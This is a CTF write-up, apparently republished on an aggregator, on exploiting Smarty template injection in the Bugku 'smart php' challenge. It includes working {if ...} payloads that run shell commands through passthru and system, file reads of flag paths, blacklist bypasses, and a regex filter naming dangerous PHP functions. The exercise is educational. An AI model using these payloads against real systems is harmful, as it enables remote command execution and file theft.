Bugku-CTF-聪明的php

news2024/11/15 12:00:44

pass a parameter and maybe the flag file's filename is random :>

传递一个参数,可能标记文件的文件名是随机的:

于是传一下参,在原网页后面加上/?a=1,发现网页出现了变化

3.传入参数,一般情况下是文件包含,或者命令执行,而这道题目比较新颖,使用的是php模板注入

4.根据测试2*4=8,确定是smarty模板注入

测试phpinfo()函数

http://114.67.246.176:18387/?a={if phpinfo()}{/if}

 

5.真的是百密一疏,过滤了好多的函数,好在没有把passthru()函数过滤

http://114.67.246.176:18387/?a={if passthru("ls /")}{/if}

 

6.没有发现flag,但是发现_12016文件,直接读一波,cat被过滤了,我是用的是more

http://114.67.246.176:18387/?a={if passthru("more /_12016 ")}{/if}

 

得到flag

二、知识点

1. 常用payload
smary中的{if}标签中可以执行的php语句

{if phpinfo()}{/if}
{if system('ls')}{/if}
{if readfile('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat ../../../../flag')}{/if}

 

2.passthru()函数
(PHP 4, PHP 5, PHP 7, PHP 8)
passthru — 执行外部程序并且显示原始输出

语法:

 passthru(string $command, int &$return_var = ?): void

同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。

3.cat绕过
可以使用其他函数如:less、more、tac

4.system|readfile|gz|exec|eval|cat|assert|file|fgets

  1. system: PHP中的system函数用于执行命令行命令,并可返回命令的输出。如果允许用户输入传递给system,可能会允许攻击者执行任意命令。

  2. readfile: readfile函数用于输出一个文件的内容。如果用户可以控制该函数的参数,他们可能会读取服务器上的敏感文件。

  3. gz: 这可能指的是与gz相关的函数,如gzopengzread等,用于处理GZIP压缩文件。如果不当使用,可能会引发安全问题。

  4. exec: 类似于systemexec函数用于执行外部程序,并且可以提供更多的输出控制。这同样可以被用来执行恶意命令。

  5. eval: eval函数执行字符串作为PHP代码。这是极其危险的,因为它允许执行任意PHP代码。

  6. cat: 在Unix/Linux系统中,cat命令用于连接文件并打印到标准输出设备。在PHP中,没有内置的cat函数,但攻击者可能会尝试利用它来读取文件。

  7. assert: PHP中的assert函数用于评估一个表达式,并在表达式结果为FALSE时终止脚本执行。然而,如果assert被用来执行外部代码,它可能会成为一个安全漏洞。

  8. file: 可能指的是file_get_contents函数,它用于读取文件或URL内容。如果用户可以控制这个函数的参数,他们可能会读取服务器上的敏感文件。

  9. fgets: fgets函数用于从文件指针中读取一行。如果用户可以控制文件指针的来源,他们可能会读取未授权的内容。

代码审计:

pass a parameter and maybe the flag file's filename is random :> <?php
include('./libs/Smarty.class.php'); #文件包含
echo "pass a parameter and maybe the flag file's filename is random :>";   #无需审计
$smarty = new Smarty();   #smarty引入,实例化 Smarty 模板引擎的一个新对象
if($_GET){
   highlight_file('index.php'); #高亮文字
   foreach ($_GET AS $key => $value) #foreach方法,将get的值传给value
#foreach:PHP中的一个循环控制结构,用于遍历数组中的每个元素。
#$_GET:一个超全局数组,包含了所有通过GET请求方法(即在URL中附加的参数)传递给当前脚本的参数。
#AS:关键字,用于在foreach循环中指定数组元素的键($key)和值($value)。
#$key:循环中数组元素的键(参数名)。
#$value:循环中数组元素的值(参数值
   {
       print $key."\n";
       if(preg_match("/flag|\/flag/i", $value)){ #对value的值进行正则匹配
           
           $smarty->display('./template.html');

#    $smarty:这是之前通过 new Smarty(); 创建的 Smarty 对象的实例。
#    ->:在 PHP 中,这个符号用来调用对象的方法或访问对象的属性。
#    display:这是 Smarty 对象的一个方法,用于将指定的模板文件呈现(渲染)为输出。
#    './template.html':这是传递给 display 方法的参数,指定了模板文件的路径。这里的 ./ 表示当前目录,template.html 是模板文件的名称。

       }elseif(preg_match("/system|readfile|gz|exec|eval|cat|assert|file|fgets/i", $value)){  #对value的值进行正则匹配


           $smarty->display('./template.html');            
           
       }else{
           $smarty->display("eval:".$value);
       }
       
   }
}
?> 

                       
原文链接:https://blog.csdn.net/m_de_g/article/details/120380488

https://baijiahao.baidu.com/s?id=1698341051395357077&wfr=spider&for=pc

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1981498.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

linux安装weblogic

文章目录 weblogic是干什么用的weblogic安装前置条件1. 安装jdk2.安装weblogic2.1.创建用户组及用户2.2.切换用户上传安装jar包到目录下&#xff0c;配置文件进行安装准备配置文件2.3保证安装配置文件和安装jar包在同一目录&#xff0c;执行安装命令 3. 创建域来启动页面3.1 构…

Science Robotics 封面论文:美国宇航局喷气推进实验室开发了自主蛇形机器人,用于冰雪世界探索

人们对探索冰冷的卫星&#xff08;如土卫二&#xff09;的兴趣越来越大&#xff0c;这可能具有天体生物学意义。然而&#xff0c;由于地表或冰口内的环境极端&#xff0c;获取样本具有挑战性。美国宇航局的喷气推进实验室正在开发一种名为Exobiology Extant Life Surveyor&…

【分巧克力】

题目 代码 #include<bits/stdc.h> using namespace std;const int N 1e510; int n, k; int h[N], w[N]; bool check(int mid) {int cnt 0;for(int i 1; i < n; i){cnt (h[i] / mid) * (w[i] / mid); //切块一定是切出长方形洞才最省料&#xff0c;这样的话能切几…

等保测评练习卷27

等级保护初级测评师试题27 姓名&#xff1a; 成绩&#xff1a; 一、判断题&#xff08;10110分&#xff09; 1.对于大型物联网来说&#xff0c;处理应用层一般由云计算平台和业务应用终端设备构成。&#xff08; T &#xff09; …

企业数据接口:股权穿透

支持查询公司名称&#xff0c;股权路径&#xff0c;股东出资比例&#xff0c;层级等信息&#xff0c;呈现出公司多层次股权结构&#xff0c;高效理清企业投资股权关系

部署服务器项目及发布

当技术总监直接丢给我一个服务器账号密码时&#xff0c;我该怎么完成映射本机&#xff1b;配置网关&#xff1b;配置代理和发布项目呢&#xff1f; 我使用的是putty远程登录到服务器 输入ip后&#xff0c;点open 输入账号密码 登录的账号如果不是root&#xff1b;使用sudo su…

表中记录的操作

一、查询表中的记录 二、在表中插入记录&#xff0c;删除记录&#xff0c;修改记录 三、常用的运算符 四、数据类型

string.format()拼接参数

string.format()拼接参数 private static void testString() {String queryParams String.format("?pwdErrNum%s&userSts%s&lockSts%s", 123, 1, 1);System.out.println(queryParams);}打印结果

事务的原理(学习笔记)

redo log 如果没有redo log 我们在执行完增删改查语句后会将脏页直接刷新到磁盘中&#xff0c;此时用户事务已经提交&#xff0c;一旦刷新失败则无法修复数据。如果不适用redo log 还会存在性能问题&#xff0c;事务中的一组操作都是随机操作数据页&#xff0c;涉及到大量随机…

DeepSeek Coder V2开源发布,首超GPT4-Turbo的代码能力

击败GPT4-Turbo&#xff0c;最强开源代码模型DeepSeek-Coder-V2问世&#xff5c;SiliconCloud上新 6月17日&#xff0c;深度求索正式开源了DeepSeek-Coder-V2模型。 根据相关评测榜单&#xff0c;这是全球首个在代码、数学能力上超越GPT-4-Turbo、Claude3-Opus、Gemini-1.5Pro…

DolphinDB 编程进阶:掌握这十个细节,让你的代码更出色

众所周知&#xff0c;编程细节不仅关乎代码的美观与整洁&#xff0c;更是确保软件质量、提升开发效率、减少维护成本以及保障系统稳定性的基石。 今天和大家分享的内容是&#xff1a;使用 DolphinDB 编程时&#xff0c;十个常被忽略但至关重要的细节。本文涵盖了元编程技巧、数…

攻防演练号角吹响,聚铭铭察高级威胁检测系统助您零失分打赢重保攻坚战

在数字化浪潮中&#xff0c;攻防演练成为了衡量网络安全防御力的核心标尺&#xff0c;其重要性与日俱增。这项由政府、行业监管或企业内部主导的安全活动&#xff0c;随着互联网普及而兴起&#xff0c;现已发展成为全球公认的检验网络安全体系效能的标准。它不仅关乎技术实力的…

JaCoCo - Java Code Coverage Library

概述 JaCoCo&#xff08;Java Code Coverage&#xff09;是一个开源的Java代码覆盖率库。它可以帮助开发人员测量单元测试和集成测试中代码的覆盖情况。通过使用JaCoCo&#xff0c;开发人员可以识别哪些代码没有被测试覆盖&#xff0c;从而提高代码的质量和可靠性。 功能 1.…

C语言宠物系统

功能有增加宠物信息&#xff0c;显示宠物信息&#xff0c;删除宠物信息&#xff0c;修改功能和排序功能&#xff0c;可以选择姓名排序&#xff0c;年龄排序&#xff0c;价格排序。进阶的功能有文件操作&#xff0c;动态内存开辟。。 test.c源文件 #include "Pet.h"v…

角色管理功能助你打造精准智慧校园系统

在智慧校园的信息化架构中&#xff0c;角色管理功能犹如一把精细的钥匙&#xff0c;开启着系统安全与高效运作的大门。它不仅关乎信息的访问权限&#xff0c;更深层次地影响着校园内各类活动的顺畅进行。 智慧校园的角色管理&#xff0c;首先体现在对用户群体的细致划分上。系统…

【Linux】进程间通信:详解 VSCode使用 | 匿名管道

目录 0. 引入&#xff1a;vscode 的使用 下载 推荐插件 连接云服务器 1. 进程间通信 1.1 是什么 1.2 为什么 1.3 怎么办 介绍 &#xff1a; 2. 匿名管道 2.1 引入 2.2 原理 3. 建立管道的系统调用pipe 3.1 介绍 形参 返回值 3.2 代码 3.3 站在内核的角度 编…

通俗易懂的告诉你大模型如何微调!

如今&#xff0c;大模型&#xff08;Large Language Models&#xff09;在人工智能领域可是炙手可热的话题。它们拥有庞大的参数和广泛的知识&#xff0c;能够处理各种复杂的任务。然而&#xff0c;就像一把锋利的刀需要经过磨砺才能更贴合手型一样&#xff0c;大模型也需要经过…

鸿道Intewell操作系统X86生态之:Intel J1900

在当今数字化转型的浪潮中&#xff0c;工业自动化和智能制造的需求日益增长&#xff0c;对实时操作系统的性能和可靠性提出了更高的要求。鸿道Intewell操作系统正是聚焦于如何将高性能的处理器与先进的操作系统相结合&#xff0c;以构建一个强大且稳定的工业控制系统。 鸿道I…

【算法系列】双指针

双指针算法 1. 双指针算法概述2 经典双指针算法题目分享1. **复写零**2. 快乐数&#xff08;medium&#xff09;3. 11. 盛最多水的容器4. 有效三⻆形的个数&#xff08;medium&#xff09;5. 四数之和 1. 双指针算法概述 常⻅的双指针有两种形式&#xff0c;⼀种是对撞指针&…

MMC和eMMC的区别

MMC 和 eMMC 的区别 1. MMC MMC&#xff08;MultiMediaCard&#xff09;是一种接口协议&#xff0c;定义了符合这一接口的内存器&#xff0c;称为 MMC 储存体或 MMC 卡。它是一种非易失性存储器件&#xff0c;广泛应用于消费类电子产品中。 1.1 外观及引脚定义 MMC卡共有七个…